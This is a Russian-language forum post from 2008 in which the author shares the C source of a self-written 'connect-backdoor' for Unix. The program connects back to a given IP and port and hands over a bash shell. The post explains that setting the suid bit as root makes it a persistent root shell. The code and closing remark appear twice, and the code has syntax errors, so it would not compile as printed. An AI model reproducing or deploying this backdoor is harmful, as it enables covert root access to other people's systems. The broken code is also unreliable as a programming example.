ShadOS
30.01.2008, 01:41
Вот написал connect-backdoor для *nix систем на досуге. Если есть права root, то для использования необходимо поставить suid-бит, используя команду chmod. Т.о. бекдор при однакратной установке suid-бита даёт нам рутовый connect-backdoor.
//shados-cbd v0.1
//usage: cbd ip_addr port
//set suid bit for rootshell
//compile: gcc shados-cbd.c -o shados-cbd
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<arpa/inet.h>
#include<netinet/in.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/wait.h>
#include<unistd.h>
#include<errno.h>
#define SHELL "/bin/bash"
int main(int argc , char *argv[])
{
int st;
int sockfd;
int sock_len;
pid_t bind_sh;
struct sockaddr_in att;
if (argc != 3)
{
printf("usage: %s ip_addr port\n",argv[0]);
exit(0);
}
att.sin_family = AF_INET ;
att.sin_port = htons(atoi(argv[2]));
if (inet_aton(argv[1] , &att.sin_addr) == 0)
{
perror("Invaild ip-address");
exit -1;
}
sock_len = sizeof(att);
if ((sockfd = socket(PF_INET , SOCK_STREAM , 0)) < 0)
{
perror("Socket creation faild");
exit -1;
}
if((bind_sh = fork()) == -1)
{
perror("Cannot open new process");
exit -1;
}
else
if (bind_sh == 0)
{
if(connect(sockfd , (struct sockaddr*)&att , sock_len) == -1)
{
perror("Connection error");
exit -1;
}
if((dup2(sockfd, 0) == -1) ||
(dup2(sockfd, 1) == -1) ||
(dup2(sockfd, 2) == -1) ||
(dup2(sockfd, 3) == -1));
if geteuid() {
setreuid(0,0);
setregid(0,0);
}
}
execl(SHELL , SHELL , NULL);
}
else
{
wait(&st); /* kinda useless but safe */
}
return 0;
}
P.S. Пьянству бой. Опять в зюзю.
//shados-cbd v0.1
//usage: cbd ip_addr port
//set suid bit for rootshell
//compile: gcc shados-cbd.c -o shados-cbd
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<arpa/inet.h>
#include<netinet/in.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/wait.h>
#include<unistd.h>
#include<errno.h>
#define SHELL "/bin/bash"
int main(int argc , char *argv[])
{
int st;
int sockfd;
int sock_len;
pid_t bind_sh;
struct sockaddr_in att;
if (argc != 3)
{
printf("usage: %s ip_addr port\n",argv[0]);
exit(0);
}
att.sin_family = AF_INET ;
att.sin_port = htons(atoi(argv[2]));
if (inet_aton(argv[1] , &att.sin_addr) == 0)
{
perror("Invaild ip-address");
exit -1;
}
sock_len = sizeof(att);
if ((sockfd = socket(PF_INET , SOCK_STREAM , 0)) < 0)
{
perror("Socket creation faild");
exit -1;
}
if((bind_sh = fork()) == -1)
{
perror("Cannot open new process");
exit -1;
}
else
if (bind_sh == 0)
{
if(connect(sockfd , (struct sockaddr*)&att , sock_len) == -1)
{
perror("Connection error");
exit -1;
}
if((dup2(sockfd, 0) == -1) ||
(dup2(sockfd, 1) == -1) ||
(dup2(sockfd, 2) == -1) ||
(dup2(sockfd, 3) == -1));
if geteuid() {
setreuid(0,0);
setregid(0,0);
}
}
execl(SHELL , SHELL , NULL);
}
else
{
wait(&st); /* kinda useless but safe */
}
return 0;
}
P.S. Пьянству бой. Опять в зюзю.